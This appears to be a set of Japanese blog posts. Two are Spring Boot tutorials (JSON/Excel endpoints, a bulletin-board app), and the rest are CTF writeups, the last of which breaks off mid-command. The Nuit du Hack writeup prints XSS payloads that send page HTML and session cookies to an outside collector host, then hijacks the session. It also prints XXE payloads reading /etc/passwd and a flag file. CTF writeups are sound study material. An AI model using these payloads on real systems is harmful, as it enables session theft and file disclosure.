Spring BootでJSONやExcelファイルを返すエンドポイントを作ってみる

「Spring Bootで簡単なWebアプリケーションを書いてみる」では、Spring Bootで簡単なWebアプリケーションを書いた。 ここでは作成したアプリケーションをベースに、APIとしてJSONを返したり、Excelファイルとしてダウンロードするエンドポイントを作ってみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

APIとしてJSONを返してみる

まず、APIとして直近のメッセージをJSONとして返すエンドポイントを作ってみる。 以下のコードは、「Spring Bootで簡単なWebアプリケーションを書いてみる」で作ったアプリケーションをベースとする。

JSONを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.json")
    @ResponseBody
    public List<Message> messagesJson() {
        List<Message> messages = service.getRecentMessages(100);
        return messages;
    }

}

@RequestMappingはGET、POSTを問わないエンドポイントを表す。 メソッドに@ResponseBodyをつけJavaオブジェクトを返すようにすると、返り値がJacksonライブラリにより自動的にJSONに変換されて返される。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.json にアクセスすると次のようになる。

$ curl -v http://localhost:8080/messages.json
(snip)
> GET /messages.json HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.49.1
> Accept: */*
>
(snip)
< HTTP/1.1 200
< Content-Type: application/json;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Thu, 06 Apr 2017 13:49:22 GMT
<
(snip)
[{"id":3,"name":"name3","text":"text3","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486551864},{"id":2,"name":"name2","text":"text2","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486548343},{"id":1,"name":"name1","text":"text1","remoteAddr":"0:0:0:0:0:0:0:1","createdAt":1491486544112}]

テーブルの内容がJSONで返ってきていることが確認できる。

Excelファイルとしてダウンロードできるようにしてみる

業務アプリケーションでは、データベースの内容をExcelファイルとしてエクスポートする機能が求められる場合がある。 Spring Frameworkでは、Apache POIというライブラリを使うことでExcelファイルを返すViewを作ることができる。 ここでは、直近のメッセージをxlsx形式でダウンロードする機能を作ってみる。

Apache POIは標準では付属しないので、まずプロジェクトにライブラリを追加する必要がある。 保存するファイル形式がxls形式の場合はpoiライブラリ、xlsx形式の場合はpoi-ooxmlライブラリが必要となる。

STSでは、標準でプロジェクトマネージャとしてMavenを使いライブラリを管理している。 ここで、MavenのCentral Repositoryを検索すると、poi-ooxmlの最新stable版が3.15であることがわかる。

プロジェクトにpoi-ooxml 3.15を追加するには次のようにする。

  • 「demo [boot]」を右クリックして、「Maven」→「Add Dependency」を選択
  • ダイアログの各フィールドに以下の文字列を入力してOK
    • GroupId: org.apache.poi
    • ArtifactId: poi-ooxml
    • Version: 3.15

これにより、poi-ooxmlが依存する各種ライブラリも合わせて追加される。

Excelファイルを返すエンドポイントを作るには、Controllerに次のようなメソッドを追加する。

  • src/main/java/com.example/MessageController.java
package com.example;

(snip)
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    (snip)

    @RequestMapping("/messages.xlsx")
    public ModelAndView messagesXlsx() {
        List<Message> messages = service.getRecentMessages(100);
        return new ModelAndView(new MessagesXlsxView(), "messages", messages);
    }

}

Excelファイルを構築するViewは次のようになる。

  • src/main/java/com.example/MessagesXlsxView.java
package com.example;

import java.text.SimpleDateFormat;
import java.util.List;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.util.CellRangeAddress;
import org.springframework.web.servlet.view.document.AbstractXlsxView;

public class MessagesXlsxView extends AbstractXlsxView {

    @Override
    protected void buildExcelDocument(Map<String, Object> model, Workbook workbook, HttpServletRequest request,
            HttpServletResponse response) throws Exception {
        @SuppressWarnings("unchecked")
        List<Message> messages = (List<Message>) model.get("messages");
        
        Sheet sheet = workbook.createSheet("Recent messages");
        
        // create header
        Row row = sheet.createRow(0);
        row.createCell(0).setCellValue("ID");
        row.createCell(1).setCellValue("Name");
        row.createCell(2).setCellValue("Text");
        row.createCell(3).setCellValue("RemoteAddr");
        row.createCell(4).setCellValue("CreatedAt");
        
        // create body
        SimpleDateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i=0; i<messages.size(); i++) {
            Message message = messages.get(i);
            row = sheet.createRow(i+1);
            row.createCell(0).setCellValue(message.getId());
            row.createCell(1).setCellValue(message.getName());
            row.createCell(2).setCellValue(message.getText());
            row.createCell(3).setCellValue(message.getRemoteAddr());
            row.createCell(4).setCellValue(dateFormatter.format(message.getCreatedAt()));
        }
        
        // enable auto filter
        sheet.setAutoFilter(new CellRangeAddress(0, 0, 0, 4));
        
        // adjust column width
        for (int i=0; i<5; i++) {
            sheet.autoSizeColumn(i);
        }
    }

}

xlsx形式の場合はAbstractXlsxView、xls形式の場合はAbstractXlsViewを継承する。

アプリケーションを起動した後適当なメッセージを投稿し、http://localhost:8080/messages.xlsx にアクセスすると次のようになる。

$ curl -I http://localhost:8080/messages.xlsx
HTTP/1.1 200
Pragma: private
Cache-Control: private, must-revalidate
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
Content-Language: ja-JP
Content-Length: 3711
Date: Thu, 06 Apr 2017 13:49:29 GMT

3713バイトのapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheetが返っていることがわかる。 また、ブラウザでアクセスすると、構築したExcelファイルがダウンロードできることが確認できる。

f:id:inaz2:20170406225333p:plain

PDFファイルの構築とダウンロード

Springでは、AbstractPdfViewとitextライブラリを使うことで、PDFファイルを構築して返すことも可能である。 全体の流れはExcelファイルの場合と同様であるため、ここでは省略する。

関連リンク

Spring Bootで簡単なWebアプリケーションを書いてみる

JavaでWebアプリケーションを開発する際のフレームワークとして、近年Apache Strutsに代わりSpring Frameworkが広く使われている。 ここでは、Springが提供するBootstrapフレームワークSpring Bootを用いて、簡単なWebアプリケーションを書いてみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

JDK 8のインストール

まず、Java開発環境であるJDK 8をインストールする。 JDKをインストールすると、実行環境であるJREも同時にインストールされる。

Spring Tool Suite (STS) のダウンロード

次に、EclipseベースのIDEであるSpring Tool Suite (STS) をダウンロードする。

spring-tool-suite-3.8.4.RELEASE-e4.6.3-win32-x86_64.zipを展開し、STS.exeを実行する。 初回起動時にWorkspace(プロジェクトの保存先)を聞かれるので、適当なパスを指定しOKを選択すると、STSが起動する。

Spring FrameworkとSpring Boot

Spring Frameworkは、Dependency Injection(DI)とAspect-oriented programming(AOP)と呼ばれる設計手法を活用したJavaフレームワークである。 これらの手法により、従来のフレームワークに対して、比較的簡潔にプログラムを実装することができる。

Spring Bootは、Springの各種プロジェクトを使って簡単にWebアプリケーションを書くことができるBootstrapフレームワークである。 Spring BootにはApache Tomcatが付属しており、従来のWARファイルを作成してアプリケーションサーバにデプロイする方法の他に、実行可能JARを作成して単独でTomcatサーバを起動する方法を選ぶことができる。

Spring Bootで簡単なWebアプリケーションを書いてみる

ここでは、Webアプリケーションとして簡単な掲示板を作ることにする。 また、構築を簡単にするために、データベースとしてMySQL等の代わりにJava製インメモリDBであるH2を利用する。

まず、STSでプロジェクトを作成する。

  • メニューバーから「File」→「New」→「Spring Starter Project」を選択
  • Nameを適当に設定し(ここではdemoのままとする)、PackagingにWarを選択してNext
  • DependenciesとしてWeb、Thymeleaf、JPA、H2を選択してNext、Finish

Spring Bootのテンプレートが展開されるので、順に必要なクラスファイルを作成していく。 クラスファイルを新規作成するには、例えばsrc/main/java/com.example/MessageController.javaの場合次のようにする。

  • 「src/main/java/com.example」を右クリックして「New」→「Class」を選択
  • NameにMessageControllerを入力してFinish

以降に述べるすべてのファイルを作成した後の、Package Explorerスクリーンショットを次に示す。

f:id:inaz2:20170405195657p:plain

Web (Spring MVC)

Spring MVCは、MVCフレームワークでWebアプリケーション開発を行うためのライブラリであり、Spring Frameworkの中核を担うものである。 RubyにおけるRailsPythonにおけるDjangoに対応。

HTTPリクエストを処理するControllerは次のようになる。

  • src/main/java/com.example/MessageController.java
package com.example;

import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;

@Controller
public class MessageController {

    @Autowired
    private MessageService service;

    @GetMapping("/messages")
    public String messages(Model model) {
        model.addAttribute("messageForm", new MessageForm());

        List<Message> messages = service.getRecentMessages(100);
        model.addAttribute("messages", messages);

        return "messages";
    }

    @PostMapping("/messages")
    public String messagesPost(Model model, @Valid MessageForm messageForm, BindingResult bindingResult, HttpServletRequest request) {
        if (bindingResult.hasErrors()) {
            List<Message> messages = service.getRecentMessages(100);
            model.addAttribute("messages", messages);
            return "messages";
        }

        service.save(new Message(messageForm.getName(), messageForm.getText(), request.getRemoteAddr()));
        return "redirect:/messages";
    }

}

@GetMappingおよび@PostMappingはそれぞれHTTPのエンドポイントに対応しており、アノテーションが付けられた関数がリクエストに応じて実行される。 returnで返される文字列はViewのテンプレートファイル名を表しており、redirect:がついている場合はそのエンドポイントにHTTPリダイレクトが行われる。 また、@AutowiredDependency Injectionを意味しており、MessageServiceのインスタンスが実行時に代入される。

フォームから送信されるパラメータを定義するクラスは次のようになる。

  • src/main/java/com.example/MessageForm.java
package com.example;

import javax.validation.constraints.Size;

public class MessageForm {

    @Size(max=80)
    private String name;

    @Size(min=1, max=140)
    private String text;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

}

@Sizeアノテーションにより、各パラメータの制約が指定されている。 この制約はControllerの@Validアノテーションによりチェックされ、エラーがある場合はエラーメッセージがViewに渡される。

Thymeleaf

Thymeleafはテンプレートエンジンであり、従来のJSPに代わるものである。 RubyにおけるERB、PythonにおけるJinja2に対応。

テンプレートファイルは次のようになる。

  • src/main/resources/templates/messages.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8" />
<title>Hello, Spring Boot!</title>
</head>
<body>
<h1>Hello, Spring Boot!</h1>

<form action="#" th:action="@{/messages}" th:object="${messageForm}" method="post">
    <p>Name (optional): <input type="text" th:field="*{name}" />
       <em th:if="${#fields.hasErrors('name')}" th:errors="*{name}">Name Error</em></p>
    <p><textarea cols="40" rows="4" placeholder="Type anything" th:field="*{text}"></textarea>
       <em th:if="${#fields.hasErrors('text')}" th:errors="*{text}">Text Error</em></p>
    <p><input type="submit" value="Submit" /></p>
</form>

<h2>Recent messages</h2>

<dl>
    <th:block th:each="message : ${messages}">
        <dt>
            <span class="name" th:text="${message.name}" th:attr="title=${message.remoteAddr}">John Doe</span>
            <small th:text="${#dates.format(message.createdAt, '(yyyy-MM-dd HH:mm:ss)')}">(1970-01-01 00:00:00)</small>
        </dt>
        <dd th:text="${message.text}">Lorem ipsum dolor sit amet</dd>
    </th:block>
</dl>

</body>
</html>

Thymeleafではth名前空間を用いて構造を記述する。 要素テキストの出力にth:textを用いることで、HTMLエスケープが自動で行われる。 このとき、テンプレート中の要素テキストは無視されるため、例示テキストを記述しておく。

変数は${messages}のようにして参照する。 また、th:objectでオブジェクトを指定し、その下位要素で*{name}のように記述することで指定したオブジェクトのプロパティを参照できる。

HTML要素に対応しないブロック構造はth:blockで表すことができる。

JPA

JPAJavaのオブジェクトとDBのリレーションを結び付けるO/Rマッパーである。 JPAを用いることで、DBに依存したSQL文を直接記述することなくデータの取得や保存ができる。 RubyにおけるActive Record、PythonにおけるSQLAlchemyに対応。

一般に、JPAではEntity、Repository、Serviceの三つが実装される。 テーブル定義に対応するEntityクラスは次のようになる。

  • src/main/java/com.example/Message.java
package com.example;

import java.util.Date;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.PrePersist;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;

@Entity
public class Message {

    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    
    @Column(nullable = false)
    private String name;
    
    @Column(nullable = false)
    private String text;
    
    @Column(nullable = false)
    private String remoteAddr;

    @Temporal(TemporalType.TIMESTAMP)
    @Column(updatable = false)
    private Date createdAt;

    // JPA requirement
    protected Message() {}

    public Message(String name, String text, String remoteAddr) {
        this.name = name;
        this.text = text;
        this.remoteAddr = remoteAddr;
    }

    @PrePersist
    public void prePersist() {
        this.createdAt = new Date();
    }

    @Override
    public String toString() {
        return String.format("Message[id=%d, name='%s', text='%s']", id, name, text);
    }

    public Long getId() {
        return id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getText() {
        return text;
    }

    public void setText(String text) {
        this.text = text;
    }

    public String getRemoteAddr() {
        return remoteAddr;
    }

    public void setRemoteAddr(String remoteAddr) {
        this.remoteAddr = remoteAddr;
    }

    public Date getCreatedAt() {
        return createdAt;
    }

}

JPAの仕様に従い空のコンストラクタをprotectedで実装する必要があること、Date型には@Temporal(TemporalType.TIMESTAMP)をつける必要があることに注意。 nullが入ることを期待しないフィールドには@Column(nullable = false)をつけておくのが無難である。

Insert時、Update時の処理は、@PrePersist@PreUpdateアノテーションをつけたメソッドで定義できる。 ここでは、@PrePersistでcreatedAtメンバに作成日時をセットし、@Column(updatable = false)かつsetter未定義とすることで更新できないようにしている。 また、idメンバも@GeneratedValue(strategy = GenerationType.AUTO)により自動生成するため、setter未定義としている。

なお、getter/setterメソッドは右クリックから「Source」→「Generate Getter and Setters...」を選択して自動生成すると楽である。

DB操作に対応するRepositoryインタフェースは次のようになる。

  • src/main/java/com.example/MessageRepository.java
package com.example;

import java.util.List;

import org.springframework.stereotype.Repository;
import org.springframework.data.domain.Pageable;
import org.springframework.data.repository.CrudRepository;

@Repository
public interface MessageRepository extends CrudRepository<Message, Long> {

    List<Message> findByOrderByIdDesc(Pageable pageable);

}

CrudRepositoryインタフェースを継承することで、findAll()save()delete()等のメソッドが暗黙に定義される。 また、findByName(String name)のようなメソッドを定義すると、SELECT * FROM messages WHERE name = ?に相当する操作を行うメソッドとなる。 上のコードにおけるfindByOrderByIdDesc()はByの後のカラム名を抜いたもので、SELECT * FROM messages ORDER BY id DESCに相当する。 なお、インタフェースの実装は実行時に自動で提供される。

Controllerに対して公開するServiceクラスは次のようになる。

  • src/main/java/com.example/MessageService.java
package com.example;

import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.PageRequest;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

@Service
public class MessageService {

    @Autowired
    private MessageRepository repository;

    public List<Message> getRecentMessages(Integer n) {
        return repository.findByOrderByIdDesc(new PageRequest(0, n));
    }

    @Transactional
    public void save(Message message) {
        repository.save(message);
    }

}

save()のようなDBに変更を加えるメソッドは、@Transactionalをつけて例外発生時にロールバックされるようにする。 Controllerと同様に、上のコードでも@AutowiredによるDependency Injectionが定義されており、MessageRepositoryのインスタンスが実行時に代入される。

付属のTomcatサーバで動かしてみる

付属のTomcatサーバでWebアプリケーションを動かし、ブラウザからアクセスしてみる。

  • 「demo [boot]」を右クリックして「Run As」→「Spring Boot App」を選択
  • Tomcatが起動したら、ブラウザから http://localhost:8080/messages にアクセス

ブラウザで表示した後のスクリーンショットを次に示す。

f:id:inaz2:20170405195712p:plain

実行を中止しTomcatサーバを停止するには、Stopボタンを押せばよい。

Pivotal tc Serverで動かしてみる

STSでは、デプロイ用サーバとしてPivotal tc Serverが用意されている。 このサーバの上でWebアプリケーションを動かすには、次のようにする。

  • 「demo [boot]」を右クリックして「Run As」→「1 Run on Server」を選択
  • サーバとしてlocalhostのPivotal tc Serverを選択してNext
  • 右側のConfiguredに作成したプロジェクト(ここではdemo)が入っていることを確認してFinish
  • サーバが起動した後、STSの中央ペインでWebブラウザが開くのでそのまま http://localhost:8080/demo/messages にアクセス

サーバを停止させるには、付属のTomcatサーバの場合と同様にStopボタンを押せばよい。

WARファイルを作成してみる

他のアプリケーションサーバにデプロイするためのWARファイルを作成するには次のようにする。

  • 「demo [boot]」を右クリックして「Export...」を選択
  • 「Web」→「WAR file」を選択してNext
  • Destinationに保存先ディレクトリを指定してFinish

関連リンク

Nuit du Hack CTF Quals 2017 供養(Writeup)

Nuit du Hack CTF Quals 2017に参加。410ptで113位。

Slumdog Millionaire (Web 100)

10個の疑似乱数を繋げたトークンとして、次に何が出てくるか求める問題。 seedがプロセスIDになっているので、last winningを一つ取得した後65535通りの総当たりで解ける。

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers

last_winning = '01-89-05-10-65-27-00-70-16-50'
for i in xrange(65536):
    random.seed(i)
    x = generate_combination()
    if x == last_winning:
        print generate_combination()
$ python test.py
93-70-98-33-99-09-34-89-40-23
Here is the code to claim your 20 NDHcoins: flag{God_does_not_pl4y_dic3}

Purple Posse Market (Web 200)

ショッピングサイト。 Contactページを見ると「管理者がすぐに確認する」という記述があり、XSSがありそうなことがわかる。

とりあえずimg要素を送ると、リクエストがあった。

<img src="http://requestb.in/XXXXXXXX">
HEADERS

Total-Route-Time: 0
Cf-Ipcountry: FR
Host: requestb.in
Accept-Encoding: gzip
Cf-Visitor: {"scheme":"http"}
X-Request-Id: 38bc3fb8-3bb5-4d00-9ff8-d4649cf61945
Connection: close
Connect-Time: 0
Referer: http://localhost:3001/admin/messages/55/
Accept: */*
Accept-Language: en,*
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cf-Ray: 348c3608c76468ea-CDG
Via: 1.1 vegur
Cf-Connecting-Ip: 163.172.102.12

続けて、メッセージ確認画面のHTMLを調べてみる。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script>
QUERYSTRING

x: <!-- Navigation --> <nav class="navbar navbar-inverse navbar-default" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Purple posse market</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav"> <li> <a href="/about">About</a> </li> <li> <a href="/products">Products</a> </li> <li> <a href="/contact">Contact</a> </li> <li> <a href="/admin/messages/">Messages</a> </li> <li> <a href="/admin/">Profile</a> </li> <li> <a href="/admin/logout/">Sign out</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> <!-- Page Content --> <div class="container main-container"> <div class="panel panel-default"> <div class="panel-body"> <p>From : aaa@aaa.aaa</p> <p>Message: <span id="message-content"><script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script></span></p></div></div></div>

/admin/ を見れば、プロフィール情報がわかりそうなことがわかる。

この後しばらくXHRやFetch APIを試してみたのだが、うまくいかなかった。 そこで、Cookieの取得を試みたところ、取得することができた。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.cookie) + '">')</script>
QUERYSTRING

x: connect.sid=s%3A3azNpzoe0_TD-YLz3FIt9fQQWTxvzSkF.fC10idxsbkVE7toSkXss41hf8%2FjUKcs0zaTVFlSWOvc

ブラウザの開発者コンソールからdocument.cookieをセットしてセッションハイジャックを行い、/admin/にアクセスすると問題文で求められているIBAN(口座番号)が表示される。

IBAN FR14 2004 1010 0505 0001 3M02 606

No Pain No Gain (Web 75)

CSVを送るとHTMLに変換して表示してくれるページ。 不正なCSVを送ると

Could not convert the CSV to XML! Please follow the example above.

と表示されることから、XXE脆弱性がありそうなことが推測できる。

実際に次のようなCSVを送ると/etc/passwdの内容が表示され、/home/flag以下にフラグがありそうなことがわかる。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(snip)
flag:x:1000:1000::/home/flag:/bin/sh
</td>
</tr></table>

続けて、次のようなCSVを送ると、フラグが表示された。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/flag/flag" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}
</td>
</tr></table>

Matriochka step 1 (Reverse 35)

$ file step1.bin
step1.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d6163f987027c7da0ef01870d1eb4a889c781f5, not stripped

アセンブリコードを読むとargv[1]から計算された文字列と Tr4laLa!!! をstrcmpで比較していることがわかる。 gdbで適当にデバッグすると、argv[1]が逆順に並び換えられていることがわかるので、条件を満たすようにargv[1]を与えると標準エラーにstep2.binが出力された。

$ ./step1.bin '!!!aLal4rT' 2>step2.bin
Well done :)

!!!aLal4rTがフラグ。

所感

他に解きたかった問題は以下。

  • Matriochka step 2 (Reverse 70)
  • Mendeleev (Steganography 20)
  • Divide and rule (Web 120)
  • Entrop3r (Exploit 350)

April Fools' GTF 2017 供養(Writeup)

April Fools' GTF 2017に参加。1809ptで15位。

Welcome!! (Misc 555)

Please input your password.(Today is April Fool)

Today is April Fool がフラグ、かと思いきや何でも通るっぽい。

thinking_face (Trivia 51)

Good GTFs always have trivia tasks.

🤔 (U+1F914) がフラグ。

Japanese Contest (Trivia 61)

What’s the most famous CTF in Japan.

SECCON がフラグ。

Houses (Trivia 91)

Prime
Mind
Force
Lore
Spirit
Chaos
and more?

PhrackとかCardsとかナンチャラとか打った後に、Einherjarと打ったら通った。 Orangeも打っておけばよかった。

O-mikuji (Guess 100, -500)

The flag is a digit.

6と答えると100ptだが、別の数字を答えると-500pt。

Kyo TO Kyo (Guess 75)

Can you read Japanese?

京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京都東京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京西東京都東京都府京都府西東京西東京西東京西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京都東京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府京都府西東京西東京西東京西東京西東京西東京都東京都府京都府西東京都東京都府西東京西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府京都府西東京西東京西東京都東京都府京都府西東京西東京都東京都府京都府西東京西東京西東京都東京都府西東京西東京都東京都府京都府西東京都東京都府京都府京都府西東京都東京都府京都府京都府京都府西東京西東京都東京都府西東京都東京都府京都府京都府京都府京都府西東京都東京都府

とりあえず「東京都」を消すと「府」と「西」が残ったので、それぞれ1/0に変換して16進表記したところそれっぽい数字が出た。

$ cat test.txt | sed 's/東京都//g' | sed 's/府/1/g;s/西/0/g'
1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 0b1000001010001100100011101010100010001100111101101101011011110010011000000110111001100000101111100110100011011100110010001011111001101110011000001101011011110010011000001011111001101000111001000110011010111110110101000110100011100000011010001101110001100110011010100110011010111110110001100110001001101110111100101111101
>>> hex(x)
'0x41464754467b6b793037305f346e645f37306b79305f3472335f6a3470346e3335335f633137797dL'
>>> hex(x)[2:-1].decode('hex')
'AFGTF{ky070_4nd_70ky0_4r3_j4p4n353_c17y}'

Scoreserver (Wave 404, 422, 500)

Railsで書かれたスコアサーバに対して、404 Not Found、422 Unprocessable Entity、500 Internal Server Errorが出るリクエストを送る問題。

404は適当なURLにリクエストを投げればよい。

$ curl -v https://score.easterns.kyoto.aka.westerns.tokyo/404
(snip)
> GET /404 HTTP/1.1
> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
>
* STATE: DO => DO_DONE handle 0x6000578a0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578a0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578a0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 404 Not Found
< Keep-Alive: timeout=5, max=100
< Content-Length: 43
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 404 Not Found
< X-Request-Id: a877d931-3fda-4e7b-b1b7-641eb0d7a95d
< X-Runtime: 0.002451
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=7e9446a8829326b9f60badbd177b48e8d9d142cff612a6b0eb16657aa4ba518d;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
< Date: Sat, 01 Apr 2017 08:06:38 GMT
<
404: APRCTF{Kyoto_Is_In_The_West_Of_Tokyo}
* STATE: PERFORM => DONE handle 0x6000578a0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

422はapplication/x-www-form-urlencodedとして不正な文字列を送ればよい。

$ curl -v --data "give me flag" https://score.easterns.kyoto.aka.westerns.tokyo/problems/5
(snip)
> POST /problems/5 HTTP/1.1
